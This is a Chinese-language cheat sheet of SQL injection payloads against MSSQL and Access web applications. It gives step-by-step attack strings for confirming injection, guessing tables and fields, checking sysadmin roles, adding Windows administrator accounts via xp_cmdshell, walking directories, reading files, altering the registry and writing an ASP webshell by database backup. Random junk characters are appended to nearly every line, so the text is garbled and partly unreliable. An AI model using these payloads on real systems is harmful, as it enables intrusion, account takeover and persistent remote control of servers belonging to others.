1.判断是否有注入;and 1=1 ;and 1=2 'QCIKCn<
2.初步判断是否是mssql ;and user>0 / I`TN5~
zeHF-_{
3.注入参数是字符'and [查询条件] and ''=' 9GD0jJEu
{cm?Q\DT
4.搜索时没过滤参数的'and [查询条件] and '%25'=' _RbfyyaN
6{y7e L3!
5.判断数据库系统 fCr2'+O"b
t1FtYXv`/
;and (select count(*) from sysobjects)>0 mssql e xb}
y
86r"hy~
;and (select count(*) from msysobjects)>0 access hC<ROD
!DZ=`a?y
UX)GA[WI
_Je4&KU
6.猜数据库 ;and (select Count(*) from [数据库名])>0 }%_|k^t
Zhq_ pus"a
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 $D^\[^S
IOl_J>D]F
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 X.fVbePxUU
^PZ[;F40
9.(1)猜字段的ascii值(access) S<i$0p8J;
rOSov"7
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 i HD!v7d7
2LwJ%!
(2)猜字段的ascii值(mssql) ]@&X*~c^Z
DK IH{:L7
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 F0:]@0>r
aA`eKy) \
10.测试权限结构(mssql) J2=4%#R!
l 00i2w
b#6S8C+@
*G58t`]r
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ${ {4L?7
f7=MgFi
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- YXA@
c
*)RmX$v3
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ;kgP:n
0JlNUO5Nt
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3( BL
X0.H(p#s
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- / Q1*Vh4
yfG;OnkZ
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 46:<[0Psl/
uH[WlZ4
;and 1=(select IS_MEMBER('db_owner'));-- aCG rS{
+4?Lwp'q
{iD/0q
<]rayUyaf
11.添加mssql和系统的帐户 l/N<'T_G
ZJ/528Ju
;exec master.dbo.sp_addlogin username;-- J>Ar(p
;exec master.dbo.sp_password null,username,password;-- LDt6<D8,Q
$plk>Khg
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- f;e#7_
\dk1a
;exec master.dbo.xp_cmdshell 'net user username password FOiwA.:0
qOo4T@t3
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- %N8I'*u
f8Hq&_Pn
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ~apt,hl
z=D5*
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 6FB0g8
*rq*li;
c^r8<KlI9
z$1RD)TQB
12.(1)遍历目录 fbq$:Q44
ziM{2Fs>
;create table dirs(paths varchar(100), id int) 6<&A}pp
J6Ilg@}\
;insert dirs exec master.dbo.xp_dirtree 'c:\'
'LYDJ~
2/?Zp=|j\
;and (select top 1 paths from dirs)>0 C[^VM$
lJK]S=cd
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) tia}&9;
,P~e)<.
J}V4.R5d
aq?bI:>8
(2)遍历目录 scV%p&{a
?@"@9na
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- =Vg~ VD
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 yq~
?{J1&;j*
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 +Br<;sW
n_QuuUB
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 TK5$-6k
K$S0h-?9]O
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
M^kaik
qYoW8e
c~T{;
:w^:Z$-hf
13.mssql中的存储过程 Q7+WV`&
KMhrw s{&B
xp_regenumvalues 注册表根键, 子键 s\ *p|vc
$xu2ZBK
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Zo=,!@q(
Ab$E@H#
xp_regread 根键,子键,键值名 )q$[uS_1[
4phCn5
;exec xp_regread 0AnL]`"t.3
#(]D]f[@
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 sUF$eVAT
h[(YH ;Y
xp_regwrite 根键,子键, 值名, 值类型, 值 ^A ]4
IjhRSrCv
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 O@$>'Z
2-F7tcya|
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 xU\!UVQ/
!WyJ@pFU^
xp_regdeletevalue 根键,子键,值名 UC&$8^
?wtKi#k'v#
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 xM_#FxJb
\%r#>8c8
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 r'i99~
Rxy|Ag/I;V
kH 9k<{
}wf8y
14.mssql的backup创建webshell sX?arI=_U
~D5
-G?%$"
use model }-[l)<F:
X"Eqhl<t
create table cmd(str image); SrA6}kS
as:=QMV
insert into cmd(str) values (''); ei2?H;H;
DS8HSSD
backup database model to disk='c:\l.asp'; 2?,lr2
dwn|1%D
r,eH7&P9{
q;SD+%tI
15.mssql内置函数 t_/qd9Jv
o9sQ!gptw
;and (select @@version)>0 获得Windows的版本号 GVT 6cR
{r&r^!K;
;and user_name()='dbo' 判断当前系统的连接用户是不是sa &wNr2PHd#
cJSNV*<
;and (select user_name())>0 爆当前系统的连接用户 W@}@5,}f>
B+FTkJ0t+G
;and (select db_name())>0 得到当前连接的数据库 +aL6$
x.gz sd
|mhKD#:
oX6Cd:c-
16.简洁的webshell >uCO=T,|
PCCE+wC6
use model X}B]5
&Zz&VwWR
create table cmd(str image); 8h
ol4'B
0,0WdJAe
insert into cmd(str) values (''); y1`%3\
`y'%dY}$n
backup database model to disk='g:\wwwtest\l.asp';